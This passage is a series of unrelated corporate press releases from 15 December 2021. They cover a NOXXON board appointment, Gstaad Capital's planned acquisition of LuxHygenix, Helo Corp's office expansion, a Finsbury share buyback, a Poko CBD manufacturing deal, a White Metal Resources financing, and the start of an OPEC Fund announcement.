pleased that our shareholders agree with the view of NOXXON's management and Supervisory Board that Bryan is the right person to lead the development of the company's financial strategy. Bryan has already begun driving discussions with investors as we increasingly look to raise the company's profile and target further investment, especially in the US." The draft minutes of the meeting will soon be available on the NOXXON website (www.noxxon.com). About NOXXON NOXXON's oncology-focused pipeline acts on the tumor microenvironment (TME) and the cancer immunity cycle by breaking the tumor protection barrier and blocking tumor repair. By neutralizing chemokines in the TME, NOXXON's approach works in combination with other forms of treatment to weaken tumor defenses against the immune system and enable greater therapeutic impact. NOXXON's lead program NOX-A12 has delivered final top-line data from a Keytruda combination trial in metastatic colorectal and pancreatic cancer patients published at the ESMO conference in September 2020 and in July 2021 the company announced its Phase 2 study, OPTIMUS, to further evaluate safety and efficacy of NOX-A12 in combination with Merck's Keytruda and two different chemotherapy regimens as second-line therapy in patients with metastatic pancreatic cancer. NOXXON is also studying NOX-A12 in brain cancer in combination with radiotherapy which has been granted orphan drug status in the US and EU for the treatment of certain brain cancers. GLORIA, a trial of NOX-A12 in combination with radiotherapy in newly diagnosed brain cancer patients who will not benefit clinically from standard chemotherapy has delivered interim data from the first two cohorts showing consistent tumor reductions and objective tumor responses. The company's second clinical-stage asset NOX-E36 is a Phase 2 TME asset targeting the innate immune system. NOXXON plans to test NOX-E36 in patients with solid tumors. Further information can be found at: www.noxxon.com. Keytruda is a registered trademark of Merck Sharp Dohme Corp. Visit NOXXON on LinkedIn and Twitter. About the GLORIA Study GLORIA (NCT04121455) is NOXXON's dose-escalation, phase 1/2 study of NOX-A12 in combination with irradiation in first-line glioblastoma (brain cancer) patients with unmethylated MGMT promoter (resistant to standard chemotherapy). About the OPTIMUS Study OPTIMUS (NCT04901741) is NOXXON's open-label two-arm phase 2 study of NOX-A12 combined with pembrolizumab and nanoliposomal irinotecan/5-FU/leucovorin or gemcitabine/nab-paclitaxel in microsatellite-stable metastatic pancreatic cancer patients. Disclaimer Certain statements in this communication contain formulations or terms referring to the future or future developments, as well as negations of such formulations or terms, or similar terminology. These are described as forward-looking statements. In addition, all information in this communication regarding planned or future results of business segments, financial indicators, developments of the financial situation or other financial or statistical data contains such forward-looking statements. The company cautions prospective investors not to rely on such forward-looking statements as certain prognoses of actual future events and developments. The company is neither responsible nor liable for updating such information, which only represents the state of affairs on the day of publication. View source version on businesswire.com: https://www.businesswire.com/news/home/20211215005722/en/ Contacts: For more information, please contact: NOXXON Pharma N.V. Aram Mangasarian, Ph.D. Chief Executive Officer Tel. +49 (0) 30 726247 0 amangasarian@noxxon.com Investor and Media Relations: LifeSci Advisors Guillaume van Renterghem Tel. +41 (0) 76 735 01 31 gvanrenterghem@lifesciadvisors.com NewCap Arthur Rouille Tel. +33 (0) 1 44 71 00 15 arouille@newcap.fr Not for distribution to United States newswire services or for release, publication, distribution or dissemination, directly or indirectly, in whole or in part, in or into the United States. VANCOUVER, BC / ACCESSWIRE / December 15, 2021 / Gstaad Capital Corp. (the "Company") (TSX-V:GTD.H) is pleased to announce that it has entered into a letter of intent, dated effective November 29, 2021 (the "LOI") with LuxHygenix Inc. ("LuxHygenix"), an arms-length privately held Delaware corporation. The LOI sets out the general terms and conditions pursuant to which the Company will acquire all of the issued and outstanding securities and convertible notes of LuxHygenix in exchange for securities of the Company (the "Transaction"). Upon successful completion of the Transaction, it is anticipated that the Company will be listed as a Tier 2 Technology issuer on the TSX Venture Exchange ("TSX-V"), under a name to be agreed between the Company and LuxHygenix, and will continue the existing business of LuxHygenix. The Transaction is intended to constitute the Company's "qualifying transaction" pursuant to Policy 2.4 - Capital Pool Companies of the TSX-V. About LuxHygenix Founded by five engineers and physicists, with offices and a laboratory in Scottsdale, Arizona, LuxHygenix is dedicated to developing technology that can produce safe and powerful solid-state light beams with multiple commercial applications. The initial focus of LuxHygenix is addressing the control of infectious pathogens and microbes safely and effectively in healthcare operating environments, mass transportation, public safety, education, and the food service industries using the 200-225nm wavelengths of the UV spectrum. Beyond UV, the technology enables powerful and inexpensive product development in other parts of the electromagnetic spectrum for unique solutions in other vertical markets such as communication, navigation, medicine and agriculture. Although UV light is an effective disinfectant for pathogens, both airborne and on surfaces, it is important to note that most of the UV spectrum may also be harmful to people. However, there is one narrow part of the UV spectrum, namely from 200 nm (nanometers) to 225 nm (the "Goldilocks band"), that has been shown to be highly effective against pathogens, yet safe for humans. Until now, the only option for producing UV light in the Goldilocks band has been expensive gas lamp technologies that were introduced decades ago. Light output from these gas lamps is weak and requires long periods of time (many hours) to accomplish significant levels of disinfection. Therefore, the current methods used for producing Goldilocks band light are neither time-effective nor practical. Further, while liquid-based disinfectants work well for spot applications, room-sized applications of liquid disinfectants are time and labor intensive, while using an invisible light that is safe for nearby occupants, is easy and convenient. Using years of semiconductor, nanotechnology, and physics experience, the team at LuxHygenix has developed a technology that can produce very powerful light beams, three orders of magnitude greater than existing methods in the Goldilocks band of the UV spectrum that can disinfect a room-sized facility in under one minute. With an innovative solid-state approach, Goldilocks lamps may be manufactured very inexpensively. Patents have been filed and proof of concept exhibits have been developed by the LuxHygenix team, and LuxHygenix is currently in negotiations and is near a working agreement with a major medical facility to use their technology to disinfect hospital facilities (operating, examination, and patient rooms). Additional applications of the technology, which include mass transit customer protection, classroom and student protection, portable and noninvasive devices for both first responders and military medics are also in development. The technology is revolutionary and has the potential to create several safe, effective, and profitable new industry verticals. Opportunities exist in (a) healthcare markets, (b) large city mass transportation systems, (c) global air and maritime transportation systems, (d) emergency medical systems, (e) classrooms, and (f) restaurants and the global food handling industries. Summary of Terms of the Transaction: Structure: The Company and LuxHygenix will enter a definitive Share Exchange Agreement, ("SEA") whereby the consideration for the acquisition of all outstanding shares of LuxHygenix will be paid for by the issuance of five common shares of the Company for each one share of LuxHygenix issued and outstanding. All existing convertible debt of LuxHygenix will be converted into shares of LuxHygenix prior to completion of the Transaction. The Company has also agreed to issue 5,000,000 performance escrow shares, (the "Performance Shares"), to be issued pro rata to each of the five founding partners based upon their existing interest in LuxHygenix, subject to the Financial Performance Targets noted below. The Performance Shares will be issued subject to certain performance escrow restrictions, to be released subject to the following performance targets (the "Performance Targets") being attained by LuxHygenix. Completion of any one Performance Target qualifies the issuance of 1,000,000 Performance Shares: LuxHygenix generating EBITDA (earnings before interest, taxes, depreciation, and amortization) in excess of $2,000,000 in any audited fiscal year ending December 31, 2022, 2023 or 2024; or LuxHygenix generating revenue in excess of $4,000,000 in any audited fiscal year ending December 31, 2022, 2023 or 2024. LuxHygenix entering into funding agreements for the development of a manufacturing facility and triggers construction initiation. Positive safety and efficacy reports from an established medical research team, particularly regarding pathogen destruction and human safety. Positive safety and efficacy reports from an accredited institution, particularly regarding eye safety. Receive regulatory approval that enables product sales from appropriate regulatory agency(s) for example FDA or similar body to commerciality sell a product. Signing a distribution partnership for components with either a major US, European or Asian distributor. Signing an end product development or distribution agreement with a major product manufacturer that incorporates LuxHygenix technology elements into one of their product lines. In the event the Performance Targets are not met by LuxHygenix by April 30, 2025, no further Performance Shares will be issued. The TSX-V may require that a portion of the common shares issued to acquire LuxHygenix be subject to escrow or restrictions on resale. LuxHygenix has engaged with a large US based international law firm to ensure that the corporate structure of the transaction will be established to ensure no immediate tax liability will be incurred by the shareholders of LuxHygenix and be in compliance with all tax regulations. Should an immediate tax be incurred on the Qualifying Transaction, LuxHygenix can withdraw from this agreement without penalty. Concurrent Financing Pursuant to the letter of intent, and in connection with the Transaction, the Company will complete a brokered private placement (the "Concurrent Financing") on closing to raise a minimum of $6,600,000 at a price to be determined by the Company and LuxHygenix. Net proceeds of the Concurrent Financing will be used for the ongoing development of LuxHygenix, and for working capital and general corporate purposes post closing. The Company may pay finders' and Investment banking fees to eligible parties in completion of the Concurrent Financing. The Company will provide further information regarding the Concurrent Financing once final terms have been determined. Management and Directors of the Resulting Issuer At the Closing, it is anticipated that the board of directors of the Company will be reconstituted to consist of six directors, which will include Melvyn Slater, James Jaskie, Michael Johnson, Paul Larkin and Andrew Bowering, and the appointment of an independent director to be named prior to closing. Biographical information regarding the current proposed directors and officers of the Company following completion of the Transaction is set out below: Melvyn Slater PhD - Director and Chief Executive Officer Dr. Melvyn Slater is a 40-year veteran of the wireless and semiconductor industries. His experience includes business leadership in R&D, turnaround and start up situations. He has broad international business exposure and over the course of his career has led activities and partnerships in North America, Europe, Asia, Australia and South America. Dr. Slater served as the inaugural CEO of National Information and Communication Technology in Australia and nurtured the company from near inception to maturity. During his career he has served as a senior executive at Motorola, Gemplus and Spansion. Dr. Slater has close ties to the academic community and has served on the Engineering Advisory Board of the Electrical Engineering and Computer Science Department at the University of California at Berkeley (chair from 1995-1999), on the Engineering Advisory Board of the University of Illinois, on the Board of Directors of the National Center for Supercomputing Applications and on the Board of Directors of MCC in Austin Texas and as Chairman of the Advisory Board to the School of Biological and Health Systems Engineering at Arizona State University. James Jaskie PhD - Director and Chief Technology Officer Dr. Jaskie retired from Motorola, where he was Chief Scientist for Motorola Labs. He was a Dan Noble Fellow, Motorola's highest technical award. In 2005, he was named one of the Scientific American 50, in which the magazine honors the 50 leaders of science and technology in the world. In 2006, Dr. Jaskie received one of NASA's Nano 50 awards for their list of the 50 most innovative people and projects in the country. Jim has concentrated on Energy and Nanotechnology Research & Development in his career. He has over 50 patents issued, including the first patent to use quantum dots for their designable color spectrum, the first patent for Carbon Nanotubes (CNTs) and their electrical behavior, and many patents concerning energy. Jim is the author of over a hundred scientific journal articles and innumerable invited conference presentations. Michael Johnson PhD - Director and Chief Operating Officer Dr. Johnson received his BS and PhD degrees in Physics from Arizona State University. His early work experience was gained from positions at Motorola as an engineer in the field of compound semiconductor device test and later as an R&D scientist in field emission display and associated process development. Next was a stint developing novel, low-temp processes for Magneto resistive Random-Access Memory (MRAM) development and later commercialization. Later work included R&D in electron field emission devices and applications, as well as device and materials characterization. Michael also has considerable experience with Multiphysics and optical modeling. More recently he has worked in the field of graphene and related carbon nanostructures, both as a consultant and heading a development team at a start-up company. Michael has numerous publications and issued patents in his name. Andrew Bowering - Independent Director Mr. Bowering is a venture capitalist and businessman who has operated and managed public and private entities for over 35 years. During his career, he has founded and managed numerous companies that have gone from early stage to ultimate sale. Mr. Bowering is typically a large investor in his companies but has raised hundred of millions in capital for entities that have included water treatment, resource exploration and development and consumer retail companies. He is the founder, a director and significant shareholder of Prime Mining Corp. and American Lithium Corp., both TSX Venture 50 companies that currently have a combined market capitalization exceeding $1.2 billion. In addition to Prime and American Lithium, Mr. Bowering is a founder, director and significant shareholder of Apollo Silver Corp along with other TSX Venture listed companies. Previously to his current endeavours, he founded companies including Millennial Lithium Corp, M2 Cobalt Corp, Cap-Ex Iron Ore Ltd., Pinnacle Mines Ltd. Paul Larkin - Director and Chairman of the Board Since 1983, Mr. Larkin has been the President of the New Dawn Group, an investment and financial consulting firm located in Vancouver, British Columbia, New Dawn is primarily involved in corporate finance, merchant banking and administrative management of public companies. Mr. Larkin was an investment banker before founding New Dawn in 1983. He has been a Director and/or Officer of various TSX, NYSE, and TSX Venture Exchange listed companies, since forming New Dawn. He was a Founding Partner, Director and Chairman of the Audit and M & A committees of US. Geothermal Inc. (HTM: NYSE MKT), a leading geothermal renewable energy company that was sold to Ormat Technologies Inc. (NYSE: ORA) in 2018 for an enterprise value of US$200 million plus. He is currently a Director of Vancouver based; RE Royalties Corp., listed on the TSX.V (RE), and Prime Mining Corp., listed on the TSX.V (PRYM). Further Information Trading in the common shares of the Company has been halted and is expected to remain halted pending completion of the Transaction and the satisfaction of the listing requirements of the TSX-V. Completion of the Transaction is subject to a number of conditions including the satisfactory completion of due diligence, the negotiation and entering into of a definitive agreement, the completion of the Concurrent Financing, receipt of all required shareholder, regulatory and third-party consents, including approval of the TSX-V and the shareholders of LuxHygenix, and satisfaction of other customary closing conditions. The Transaction and Concurrent Financing cannot close until the required approvals are obtained. There can be no assurance that the Transaction and Concurrent Financing will be completed as proposed or at all. A finder's fee in warrants to purchase common shares of the Company will be payable on closing to Stuart Lawrence, an arms-length British Columbia resident, subject to regulatory approval. The Transaction is subject to the sponsorship requirements of the TSX-V unless an exemption from those requirements is granted. The Company intends to apply for an exemption from the sponsorship requirements; however, there can be no assurance that an exemption will be obtained. If an exemption from the sponsorship requirements is not obtained, a sponsor will be identified at a later date. An agreement to act as sponsor in respect of the Transaction should not be construed as any assurance with respect to the merits of the Transaction or the likelihood of its completion. A summary of significant financial information with respect to LuxHygenix will be included in a subsequent news release. Further details about the proposed Transaction, the Concurrent Financing, and LuxHygenix will be provided in a subsequent News Release and in the filing statement to be prepared by the Company and filed in connection with the Transaction. Investors are cautioned that, except as disclosed in such filing statement, any information released or received with respect to the Transaction may not be accurate or complete and should not be relied upon. For further information, please contact: Gstaad Capital Corp. Paul Larkin, President Email: plarkin@pro.net LuxHygenix Inc. Melvyn Slater, Chief Executive Officer Email: mslater@luxhygenix.com Completion of the Transaction is subject to a number of conditions, including but not limited to, TSX Venture Exchange acceptance. The Transaction cannot close until the required approvals are obtained, and the outstanding conditions satisfied. There can be no assurance that the Transaction will be completed as proposed or at all. Investors are cautioned that, except as disclosed in the filing statement to be prepared in connection with the Transaction, any information released or received with respect to the Transaction may not be accurate or complete and should not be relied upon. Trading in the securities of the Company should be considered highly speculative. The TSX Venture Exchange has in no way passed upon the merits of the proposed Transaction and has neither approved nor disapproved the contents of this press release. Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. This news release may contain certain "Forward-Looking Statements" within the meaning of the United States Private Securities Litigation Reform Act of 1995 and applicable Canadian securities laws. When or if used in this news release, the words "anticipate", "believe", "estimate", "expect", "target, "plan", "forecast", "may", "schedule" and similar words or expressions identify forward-looking statements or information. These forward-looking statements or information may relate to proposed financing activity, regulatory or government requirements or approvals, the reliability of third-party information and other factors or information. Such statements represent the Company's current views with respect to future events and are necessarily based upon a number of assumptions and estimates that, while considered reasonable by the Company, are inherently subject to significant business, economic, competitive, political and social risks, contingencies and uncertainties. Many factors, both known and unknown, could cause results, performance or achievements to be materially different from the results, performance or achievements that are or may be expressed or implied by such forward-looking statements. The Company does not intend, and does not assume any obligation, to update these forward-looking statements or information to reflect changes in assumptions or changes in circumstances or any other events affecting such statements and information other than as required by applicable laws, rules and regulations. SOURCE: Gstaad Capital Corp. View source version on accesswire.com:https://www.accesswire.com/677852/Gstaad-Enters-into-Letter-of-Intent-to-Acquire-Luxhygenix SAN FRANCISCO, CA / ACCESSWIRE / December 15, 2021 / Helo Corp. (OTC PINK:HLOC) ("Helo" or the "Company"), a wellness technology company at the forefront of digital health and a pioneer of the Digital Health Sharing Economy, is pleased to confirm that three of its subsidiaries have opened larger offices to support its fast growing business and it is preparing to open new markets in 2022. As the winner of a 2021 Deloitte Fast 500 Technology Award, Helo Corp has doubled down on its record 2021 growth by increasing staff numbers and securing larger offices in Asia and in the US. These new offices are to ensure a safer operational environment for its employees while providing ongoing support for Vyvo customers and Vyvo promoters worldwide. Sean McVeigh, Helo's Chief Executive Officer, confirmed that, "Although the pandemic has been difficult, bringing personal and business challenges, we are thankful to our employees, our customers and our Vyvo promoters worldwide who have helped deliver our record 2021 results. We are now well positioned for strong growth. This year,"he says, "we have been continually investing in hiring new employees, developing our technology and expanding our facilities to ensure sustained growth in our chosen markets. Up to now, all of our growth has been organic. We are now preparing to extend our strategic footprint as we plan to launch new markets in 2022. We expect to enter these new markets by acquisition, joint venture or with organic sales growth." Fabio Galdi, Vyvo's Chief Executive Officer, stated, "We have secured a larger office in the TechMart building, Santa Clara, California. With this new working space, I'm excited to be able to collaborate face to face with our existing and future Silicon Valley based employees so that together we can build and communicate the benefits of our Life Changing Technology to all Vyvo entities and our Vyvo promoters worldwide. These activities at VyvoLabs, "he continued, "will provide the technology foundation on which Vyvo will continue to build and grow." Two of Helo Corp.'s three subsidiaries that have moved to new offices are in Asia. Vyvo Network Japan KK's new office is in the Shinjuku Sumitomo Building in Tokyo's business area. Vyvo Network Pte Ltd.'s office is in the Zhongzheng District of Taipei, Taiwan. Vyvo has other offices in Miami, Florida, India, Ireland, Italy, Singapore and Thailand. Vyvo Network Japan KK's new office: Vyvo Network Pte Ltd.'s new office in Taipei: Vyvo Technology Corp.'s Santa Clara office: About Helo Corp. Helo Corp. (OTC:HLOC) is a wellness technology company at the forefront of digital health and a pioneer of the Digital Health Sharing Economy. Using its Life Changing Technology and data from its LifeWatches, it encourages wearer wellness-centered lifestyles, consumer data empowerment and generates revenue from data sales that drive the self-funding, Digital Health Sharing Economy. Helo's Life Sensing TechnologyTM uses state-of-the-art sensors, enhanced signal processing, and algorithms to collect and process specific bio-parameters for the user and Healthtech market. We incentivize our userbase with Vyvo Utility Tokens to continuously build up our shared bio-bank through self-tracking. Our two-sided data rich platform collects health data from the users which we analyze and use AI to prepare customized and personalized user reports, user alerts and user NutraPak supplements. In addition, our platform also presents Big Data opportunity for developers, medical research and diagnostics. For further information on Vyvo and Helo, please click on the links: https://www.vyvo.com and http://www.helocorp.com Forward Looking Statement This news release contains "forward-looking statements" within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended, and as defined in the U.S. Private Securities Litigation Reform Act of 1995. These forward-looking statements can be identified by terminology such as may, "will," "expects," "anticipates," "future," "intends," "plans," "believes," "estimates," potential and similar statements. All statements other than statements of historical fact in this press release are forward-looking statements and involve certain risks and uncertainties that could cause actual results to differ materially from those in the forward-looking statements. These forward-looking statements are based on management's current expectations, assumptions, estimates and projections about the Company and the industry in which the Company operates, but involve a number of unknown risks and uncertainties. Further information regarding these and other risks is included in the Company's filings with the OTC Markets and the Securities and Exchange Commission. The Company undertakes no obligation to update forward-looking statements to reflect subsequent occurring events or circumstances, or changes in its expectations, except as may be required by law. Although the Company believes that the expectations expressed in these forward-looking statements are reasonable, it cannot assure you that such expectations will turn out to be correct, and actual results may differ materially from the anticipated results. You are urged to consider these factors carefully in evaluating the forward-looking statements contained herein and are cautioned not to place undue reliance on such forward-looking statements, which are qualified in their entirety by these cautionary statements. Investors Contact: investors@helocorp.com SOURCE: Helo Corp. View source version on accesswire.com:https://www.accesswire.com/677724/Helo-Corp-Invests-to-Drive-Further-Revenue-Growth-and-to-Open-New-Markets-in-2022 Finsbury Growth & Income Trust Plc - Transaction in Own Shares For immediate release 15 December 2021 FINSBURY GROWTH & INCOME TRUST PLC (the "Company") MARKET PURCHASE OF COMPANY'S OWN SHARES The Company announces that it has today purchased 50,000 of its own shares ("Ordinary Shares") at a price of 892.1p per Ordinary Share. Such shares will be held in treasury by the Company. The transaction was made pursuant to the authority granted at the Annual General Meeting of the Company held on 17 February 2021. Following this transaction, the total number of Ordinary Shares held by the Company in treasury is 778,819; the total number of Ordinary Shares that the Company has in issue, less the total number of Ordinary Shares held by the Company in treasury following such purchase, and therefore, the total number of voting rights in the Company is 224,212,484. The figure of 224,212,484 may be used by shareholders as the denominator for calculations of interests in the Company's voting rights in accordance with the FCA's Disclosure Guidance and Transparency Rules. For and on behalf of Frostrow Capital LLP Company Secretary For further information, please contact: Victoria Hale Frostrow Capital LLP Tel: 020 3 170 8732 Further decreasing product costs for its consumer brands and increasing accessibility to CBD pouches within the UK market. LONDON and BELFAST, UK / ACCESSWIRE / December 15, 2021 / (CSE:POKO) - Poko Innovations, Inc., an award-winning international UK based CBD & Fintech company, is pleased to announce that their fully owned subsidiary Poko Group UK Ltd has recently signed an agreement with Active CBD Manufacturing Ltd. to allow Poko Group to reduce the final purchase cost of its CBD pouches, significantly increasing its ability to close distribution deals and improve accessibility to this product in the UK market. Active CBD Manufacturing Ltd. is a UK based contract manufacturer working within the CBD edibles space and is specializing in CBD edibles including CBD Pouches. CBD pouches are a natural, vegan friendly, non-smokable and non-vapable method of consuming CBD. These discreet pouches are made from natural coconut fibres and it is one of the main consumer products Poko is focused on within the UK and EU markets. The deal is positioned to allow Poko to significantly reduce their production cost through a) being supplied the raw materials at cost, where they previously had paid a 100% margin and b) Be given direct access to the production factory where the manufacturing takes place. This agreement is in exchange for an undisclosed number of share options in Poko Innovations Inc. (POKO:CSE). David Wood, Business Development Director says of the partnership, "I believe Poko has a bright future and I feel share options gives us an upside to be part of that success story we believe Poko will be. By helping Poko reduce its costs, we believe we are giving them the support Poko needs to finalize deals with distribution companies, we have belief in its management team and their strategy for the UK and EU markets" Poko's CBD Pouches will be launched via the UK market and are positioned as a solution for CBD users who do not enjoy the strong taste often associated with CBD tinctures and are looking for a discreet, smoke and vape free solution to taking CBD throughout the day, to help with anxiety, stress and sleep. It will also be positioned to work as an addition to the popular snus pouches on the market, providing a product that allows the user to switch from nicotine to CBD products in the evening to improve their sleep cycle. The pouches come in 8 different flavours; Berry Breeze, Berry Blast, Mango Crush, Strawberry Haze, Blackcurrant Anise, Glacial Mint, Ice Apple and Cherry Orchard. Each tin consists of 20 individual pouches and each pouch contains 20mg of CBD. The method of consumption allows for optimal CBD bioavailability. The pouches retail at 15 for the individual tin or 36 for a set of three. Strategic opportunities for Poko: Reduces the per unit cost of its pouches. Gives greater control over the production process with direct access to the factory. Increase margins on existing CBD pouches to help increase the distribution network. Increase accessibility to our CBD pouches to the consumer market through increase in distribution. "This agreement is another very important step in our aim to be a profitable, sought after CBD brand in the UK market, by reducing the cost base we have increased our potential of further large distribution deals and made our margins more lucrative for our existing partners." David Hughes CEO and Co-Founder stated. "We strive to produce products that offer innovative methods to consuming CBD and integrating it into peoples lifestyles, and for us accessibility to the product is key, we feel this partnership is an excellent step towards our CBD pouches being available across the UK". The Poko Story Poko Innovations Inc. has been focused in the reduction of the cost base for its consumer products to ensure it can gain a foothold in what we consider to me a much less crowded market then i the US or elsewhere in North America. By establishing a foothold in the UK and EU in early 2022 we believe we can create high lifetime value customers and high shareholder values. Once established the management will focus its efforts on the fintech branch of the business where there is additional value to be achieved for shareholders. Poko Innovations, Inc. is an award-winning international UK based integrated company with a robust portfolio of CBD brands, a financial services platform, LumiPay, a range of consumer brands and a roster of marketing and media sites. The business is broken into independent units that work together to leverage their strengths: Poko comprises of four segments: Consumer Brands: Poko is the group's flagship award winning skincare brand, poko Canndid, brings fun, affordable and easy to use CBD products to the markets Poko is the group's flagship award winning skincare brand, poko Canndid, brings fun, affordable and easy to use CBD products to the markets Fintech Platform: Lumipay is an easily-integrated payment platform gateway service www.lumi-pay.com Lumipay is an easily-integrated payment platform gateway service News and Media Sites: The Extract is a B2B news and media sites Candid Magazine, a B2C culture magazine www.candidmagazine.com The Extract is a B2B news and media sites Candid Magazine, a B2C culture magazine www.candidmagazine.com White labelling Service: Cannmed Products brings together several vetted, compliant CBD manufacturing companies www.cannmedproducts.com About The Poko Group, Ltd The Poko Group is a collection of CBD focused companies that bring innovative, inspiring solutions to the CBD industry through the company's leading platforms which, when working together, form a complete ecosystem. The Poko Group has is an award-winning UK CBD company that has developed a unique business model comprising complete "turnkey solutions," including fintech payment processing and white label opportunities. Poko plans to export its signature products to the EU and the USA. For more information, please visit https://www.pokogroup.com/ . Forward-Looking Statements With the exception of the historical information contained in this news release, the matters described herein, may contain forward-looking statements within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended. Statements preceded by, followed by, or that otherwise, include the words "believes," "expects," "anticipates," "intends," "projects," "estimates," "plans" and similar expressions or future or conditional verbs such as "will," "should," "would," "may" and "could", are generally forward-looking in nature and not historical facts, although not all forward-looking statements include the foregoing. These statements, involve unknown risks and uncertainties that may individually or materially impact the matters discussed, herein for a variety of reasons that are outside the control of the company, including, but not limited to, the company's ability to raise sufficient financing to implement its business plan, the impact of the COVID-19 pandemic on the company's business, operations and the economy in general, and the Company's ability to successfully develop and commercialize its proprietary products and technologies. Readers are cautioned not to place undue reliance on these forward- looking statements, as actual results could differ materially from those described in the forward-looking statements contained herein. Readers are urged to read the risk factors set forth in the company's filings with the SEC, which are available at the SEC's website (www.sec.gov). The company disclaims any intention or obligation to update, or revise any forward-looking statements, whether as a result of new information, future events or otherwise. Investor Relations Michael J. Porter, President Porter, LeVay & Rose, Inc. T: (973) 865-9357 E: mike@plrinvest.com LinkedIn @PlRinvest SOURCE: Poko Innovations Inc View source version on accesswire.com:https://www.accesswire.com/677855/Poko-Group-UK-Ltd-Agrees-to-Partnership-with-Active-CBD-Manufacturing-Ltd Thunder Bay Ontario--(Newsfile Corp. - December 15, 2021) - White Metal Resources Corp. (TSXV: WHM) ('White Metal' or 'the Company') further to their news releases of November 23, 2021 and December 9, 2021 the Company announces that it has closed its non-brokered private placement of flow-through shares and non-flow through units for total gross proceeds of $1,749,990 (the "Financing"). The Company notes that due to a high level of investor interest, the private placement was significantly oversubscribed from its initial offering of $600,000 announced on November 23, 2021. The Company has issued 16,500,000 flow-through shares ("FT Shares") at a price of $0.10 per FT Share, for gross proceeds of $1,650,000. The flow-through shares entitle holders to receive the tax benefits applicable to flow-through shares, in accordance with provisions of the Income Tax Act (Canada). The Company has also issued 1,111,000 non flow-through units ("Units") at a price of $0.09 per Unit for gross proceeds of $99,990. Each Unit consists of one common share and one half (1/2) of a common share purchase warrant, each full warrant being exercisable for an additional common share of the Company for $0.18 for 24 months form the date of issue. In connection with the Financing, the Company has paid cash finders' fees, as permitted by the policies of the TSX Venture Exchange, totaling $67,800 and issued 660,000 finders' warrants, with each being exercisable for a common share of the Company at a price of $0.10 for a period of 12 months from the date of issuance. All securities issued pursuant to the Financing will be subject to a 4-month hold. The Financing was effected with three insiders of the Company subscribing for $198,000 - 1,980,000 flow-through shares - that portion of the Placement a "related party transaction" as such term is defined under Multilateral Instrument 61- 101 - Protection of Minority Security Holders in Special Transactions ("MI 61-101"). The Company is relying on exemptions from the formal valuation and minority approval requirements set out in MI 61-101. The Company is exempt from the formal valuation requirement of MI 61-101 under sections 5.5(a) and (b) of MI 61-101 in respect of the transaction as the fair market value of the transaction, insofar as it involves the interested party, is not more than 25% of the Company's market capitalization. Additionally, the Company is exempt from minority shareholder approval under sections 5.7(1)(a) and (b) of MI 61-101 as, in addition to the foregoing, (i) neither the fair market value of the Units nor the consideration received in respect thereof from interested party exceeds $2,500,000, (ii) the Company has one or more independent directors who are not employees of the Company, and (iii) all of the independent directors have approved the transaction. Material change reports were not filed 21 days prior to the closing of the financing because insider participation had not been established at the time the financing was announced. The proceeds of the Financing will be used to advance White Metal's various exploration projects, and for working capital purposes. In addition, the Company announces that it has changed its auditor to Wasser Ramsay Chartered Accountants ("Successor Auditor") from De Visser Gray LLP Chartered Professional Accountants ("Former Auditor"). At the request of the Company, the Former Auditor resigned as the auditor of the Company effective December 7, 2021 and the board of directors of the Company appointed the Successor Auditor as the Company's auditor effective December 7, 2021, to hold office until the next annual meeting of the Company. There were no modified opinions in the Former Auditor's audit reports for the Company's two most recent financial years and ending at the date of the resignation of the Former Auditor. There are no "reportable events" (as the term is defined in National Instrument 51-102: Continuous Disclosure Obligations ("NI 51-102")) between the Company and the Former Auditor. In accordance with NI 51-102, the notice of change of auditor, together with the required letters from the Former Auditor and the Successor Auditor, have been filed on SEDAR. About White Metal Resources Corp. White Metal Resources Corp. is a junior exploration company exploring in Canada and southern Africa. The Company's two key properties are the Flagship Tower Stock Gold Project in Thunder Bay, Ontario, Canada and the Okohongo Copper-Silver Project in Namibia, Africa. For more information about the Company please visit www.whitemetalres.com. On behalf of the Board of Directors "Michael Stares" President & CEO For further information contact: Michael Stares President & CEO White Metal Resources Corp. 684 Squier Street Thunder Bay, ON P7B 4A8 Phone: +1 (807) 358-2420 Nancy Massicotte Investor Relations White Metal Resources Corp. Phone: +1 (604) 507-3377 TF: +1 (866) 503-3377 Email: ir@whitemetalres.com Thomas Do Investor Relations Manager CHF Capital Markets Phone: +1 (416) 868-1079 x 232 Email: thomas@chfir.com THE TSX VENTURE EXCHANGE HAS NOT REVIEWED AND DOES NOT ACCEPT RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE. The information contained herein contains "forward-looking statements" within the meaning of applicable securities legislation. Forward-looking statements relate to information that is based on assumptions of management, forecasts of future results, and estimates of amounts not yet determinable. Any statements that express predictions, expectations, beliefs, plans, projections, objectives, assumptions or future events or performance are not statements of historical fact and may be "forward-looking statements." Forward-looking statements are subject to a variety of risks and uncertainties which could cause actual events or results to differ from those reflected in the forward-looking statements, including, without limitation: risks related to failure to obtain adequate financing on a timely basis and on acceptable terms; risks related to the outcome of legal proceedings; political and regulatory risks associated with mining and exploration; risks related to the maintenance of stock exchange listings; risks related to environmental regulation and liability; the potential for delays in exploration or development activities or the completion of feasibility studies; the uncertainty of profitability; risks and uncertainties relating to the interpretation of drill results, the geology, grade and continuity of mineral deposits; risks related to the inherent uncertainty of production and cost estimates and the potential for unexpected costs and expenses; results of prefeasibility and feasibility studies, and the possibility that future exploration, development or mining results will not be consistent with the Company's expectations; risks related to gold price and other commodity price fluctuations; and other risks and uncertainties related to the Company's prospects, properties and business detailed elsewhere in the Company's disclosure record. Should one or more of these risks and uncertainties materialize, or should underlying assumptions prove incorrect, actual results may vary materially from those described in forward-looking statements. Investors are cautioned against attributing undue certainty to forward-looking statements. These forward looking statements are made as of the date hereof and the Company does not assume any obligation to update or revise them to reflect new events or circumstances. Actual events or results could differ materially from the Company's expectations or projections. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107730 VIENNA, Dec. 15, 2021 /PRNewswire/ -- The OPEC Fund for International Development (the OPEC Fund) has approved US$352 million for sustainable development operations across the world at the organization's 178th Session of the Governing Board, held virtually today. Members of the Governing Board also reviewed several milestones achieved as part of the OPEC Fund Strategic Framework 2030, including inaugural credit ratings for the organization from S&P Global (AA; Positive Outlook ) and Fitch Ratings (AA+; Stable Outlook). The Strategic Framework 2030 is designed to diversify the OPEC Fund's financial resources and deliver greater development impact for partner countries. The OPEC Fund's new financing will support the following public sector 